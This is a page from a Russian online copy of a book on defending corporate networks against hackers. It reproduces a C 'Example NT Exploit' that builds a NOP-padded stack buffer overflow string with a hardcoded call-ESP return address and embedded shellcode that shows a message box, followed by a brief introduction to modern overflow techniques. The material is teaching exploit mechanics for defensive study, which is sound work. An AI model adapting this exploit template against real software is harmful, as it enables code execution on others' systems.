Читаем Защита от хакеров корпоративных сетей полностью

#include

/*

Example NT Exploit

Ryan Permeh, ryan@eeye.com

*/

int main(int argc,char **argv)

{

#define MBOX 0x77E375D5

#define LL 0x77E8A254

#define EP 0x77E98F94

DWORD EIP=0x77E8250A; // a pointer to a

//call ESP in KERNEL32.dll

//found with findoffset.c

BYTE writeme[65]; //mass overflow holder

BYTE code[49] ={

0xE8, 0x07, 0x00, 0x00, 0x00, 0x55,

0x53, 0x45, 0x52, 0x33, 0x32, 0x00,

0xB8, 0x54, 0xA2, 0xE8, 0x77, 0xFF,

0xD0, 0x6A, 0x00, 0x6A, 0x00, 0xE8,

0x03, 0x00, 0x00, 0x00, 0x48, 0x49,

0x00, 0x6A, 0x00, 0xB8, 0xD5, 0x75,

0xE3, 0x77, 0xFF, 0xD0, 0x6A, 0x01,

0xB8, 0x94, 0x8F, 0xE9, 0x77, 0xFF,

0xD0

};

HANDLE file;

DWORD written;

/*

__asm

{

call tag1 ; jump over(trick push)

_emit 0x55 ; “USER32”,0x00

_emit 0x53

_emit 0x45

_emit 0x52

_emit 0x33

_emit 0x32

_emit 0x00

tag1:

// LoadLibrary(“USER32”);

mov EAX, LL ;put the LoadLibraryA

address in EAX

call EAX ;call LoadLibraryA

push 0 ;push MBOX_OK(4th arg to mbox)

push 0 ;push NULL(3rd arg to mbox)

call tag2 ; jump over(trick push)

_emit 0x48 ; “HI”,0x00

_emit 0x49

_emit 0x00

tag2:

push 0 ;push NULL(1st arg to mbox)

// MessageBox (NULL, “hi”, NULL, MB_OK);

mov EAX, MBOX ;put the MessageBox

address in EAX

call EAX ;Call MessageBox

push 1 ;push 1 (only arg

to exit)

// ExitProcess(1);

mov EAX, EP ; put the

ExitProcess address in EAX

call EAX ;call ExitProcess

}

*/

/*

char *i=code; //simple test code pointer

//this is to test the code

__asm

{

mov EAX, i

call EAX

}

*/

/* Our overflow string looks like this:

[0x90*12][EIP][code]

The 0x90(nop)’s overwrite the buffer, and the saved EBP on

the stack, and then EIP replaces the saved EIP on the stack.

The saved EIP is replaced with a jump address that points to

a call ESP. When call ESP executes, it executes our code

waiting in ESP.*/

memset(writeme,0x90,65); //set my local string to nops

memcpy(writeme+12,&EIP,4); //overwrite EIP here

memcpy(writeme+16,code,49); // copy the code into our

temp buf

//open the file

file=CreateFile(“badfile”,GENERIC_WRITE,0,NULL,

OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

//write our shellcode to the file

WriteFile(file,writeme,65,&written,NULL);

CloseHandle(file);

//we’re done

return 1;

}

Современные способы переполнения буфера

После изучения обязательного минимума пришло время познакомиться с современными способами переполнения буфера. Одни из них применимы повсеместно, другие – в частных случаях. С течением времени злоумышленники узнают о переполнении буфера все больше, поэтому сегодня для успешной защиты от атак переполнения буфера необходимо знать изощренные способы извлечения из него пользы.

Фильтрация входных данных

Перейти на страницу:
Нет соединения с сервером, попробуйте зайти чуть позже